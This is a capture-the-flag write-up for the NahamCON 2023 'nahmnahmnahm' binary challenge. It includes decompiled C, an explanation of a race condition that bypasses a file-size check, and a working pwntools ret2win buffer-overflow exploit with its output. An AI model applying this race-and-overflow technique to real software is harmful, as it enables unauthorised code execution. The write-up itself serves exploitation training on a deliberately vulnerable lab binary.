NahamCON CTF 2023: nahmnahmnahm
Me hungry for files!
TL;DR
Upload an empty file to circumvent file size restriction (enforced only on the first phase). Right before execution is resumed, overwrite the file with ret2win payload by abusing Race Condition.
Basic File Checks
Nahmnahmnahm is a simple file reader that takes in a file path as input and print out it's content.
┌──(kali💀JesusCries)-[~/Desktop/CTF/NahamCon CTF 2023/nahmnahmnahm]
└─$ ./nahmnahmnahm
Enter file: ./test
Press enter to continue:
test
To prevent quick wins, the binary will verify if the user-input contains the keyword flag
before proceeding with printing the file content.
┌──(kali💀JesusCries)-[~/Desktop/CTF/NahamCon CTF 2023/nahmnahmnahm]
└─$ ./nahmnahmnahm
Enter file: ./flag.txt
filename contains flag: Success
Checking the binary protection shows nothing significant other than NX is enabled. Could this possibly be hinting that we need to write our payload into a file and execute it using the binary's read functionality to bypass NX?
┌──(kali💀JesusCries)-[~/Desktop/CTF/NahamCon CTF 2023/nahmnahmnahm]
└─$ checksec --file=nahmnahmnahm
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 86 Symbols No 0 3 nahmnahmnahm
Static Code Analysis
There are several other functions besides main()
, so we'll be going through them one at a time.
In the main()
function, the program will ask for a filename. The filename can’t contain the keyword flag
in it. Then, the program will perform some checks to verify if the file is a symbolic link file, and if the size of the file is greater than or lesser than 80 bytes. If all the above conditions are met, it will pass the filename to vuln()
function as its argument.
int main(int argc,char **argv)
{
size_t sVar1;
char *pcVar2;
stat st;
char filename [128];
char *strstrret;
int retval;
setbuf(stdin,(char *)0x0);
setbuf(stdout,(char *)0x0);
setbuf(stderr,(char *)0x0);
filename._0_8_ = 0;
filename._8_8_ = 0;
filename._16_8_ = 0;
filename._24_8_ = 0;
filename._32_8_ = 0;
filename._40_8_ = 0;
filename._48_8_ = 0;
filename._56_8_ = 0;
filename._64_8_ = 0;
filename._72_8_ = 0;
filename._80_8_ = 0;
filename._88_8_ = 0;
filename._96_8_ = 0;
filename._104_8_ = 0;
filename._112_8_ = 0;
filename._120_8_ = 0;
printf("Enter file: ");
fgets(filename,0x7f,stdin);
sVar1 = strcspn(filename,"\n");
filename[sVar1] = '\0';
pcVar2 = strstr(filename,"flag");
if (pcVar2 == (char *)0x0) {
retval = lstat(filename,(stat *)&st);
if (retval == -1) {
perror("stat");
}
else if ((st.st_mode & 0xf000) == 0xa000) {
perror("is_symlink");
retval = -1;
}
else if (st.st_size < 0x51) {
puts("Press enter to continue:");
getchar();
vuln(filename);
}
else {
perror("File size");
retval = -1;
}
}
else {
perror("filename contains flag");
retval = -1;
}
return retval;
}
In the vuln()
function, the program reads the content of the file in the variable filename using the fopen()
, with a maximum data reading size of 4096 bytes (0x1000
). Then, stores it in the variable buf
, which can only hold data up to 80 bytes. This causes a buffer overflow vulnerability that can be exploited to call the winning_function()
to achieve ret2win.
void vuln(char *filename)
{
FILE *__stream;
char buffer [80];
FILE *f;
__stream = fopen(filename,"r");
if (__stream == (FILE *)0x0) {
perror("fopen");
}
else {
fread(buffer,1,0x1000,__stream);
printf("%s",buffer);
}
return;
}
void winning_function(void)
{
FILE *__stream;
char contents [256];
FILE *f;
puts("Welcome to the winning function!");
__stream = fopen("flag","r");
fread(contents,1,0x100,__stream);
puts(contents);
fclose(__stream);
return;
}
Race Condition
In essence, the programs only perform a one-time check in the main()
function before pausing the program execution with a getc()
function that waits for the user to enter any character. This introduces another exploitable loophole known as Race Condition.
The plan is to create an empty file and input the name of the file as our input and wait for the program to enter an idle state, before writing our ROP/ret2win payload into the file. When the program execution resumes, it will call the vuln()
function, and leads us to winning_function()
because of the buffer overflow vulnerabilities.
Think of this like Command Line Spoofing, where a process is first created in a suspended state with benign command line arguments. Right after the verification/logging procedure is over, the arguments can then be overwritten with any malicious inputs.

ret2win
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
elf = ELF('./nahmnahmnahm')
rop = ROP(elf)
p = elf.process()
payload = b"A"
f = open("./payload", "wb")
f.write(payload)
f.close()
p.sendlineafter(b": ", b"./payload")
payload = b"A" * 104
payload += p64(elf.symbols["winning_function"])
payload += p64((rop.find_gadget(['ret']))[0])
f = open("./payload", "wb")
f.write(payload)
f.close()
p.sendlineafter(b"Press enter to continue:", b"A")
p.interactive()
┌──(kali💀JesusCries)-[~/Desktop/CTF/NahamCon CTF 2023/nahmnahmnahm]
└─$ ./solve.py
[*] '/home/kali/Desktop/CTF/NahamCon CTF 2023/nahmnahmnahm/nahmnahmnahm'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 14 cached gadgets for './nahmnahmnahm'
[+] Starting local process '/home/kali/Desktop/CTF/NahamCon CTF 2023/nahmnahmnahm/nahmnahmnahm': pid 3244
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x12@Welcome to the winning function!
flag{d41d8cd98f00b204e9800998ecf8427e}
Flag: flag{d41d8cd98f00b204e9800998ecf8427e}
Last updated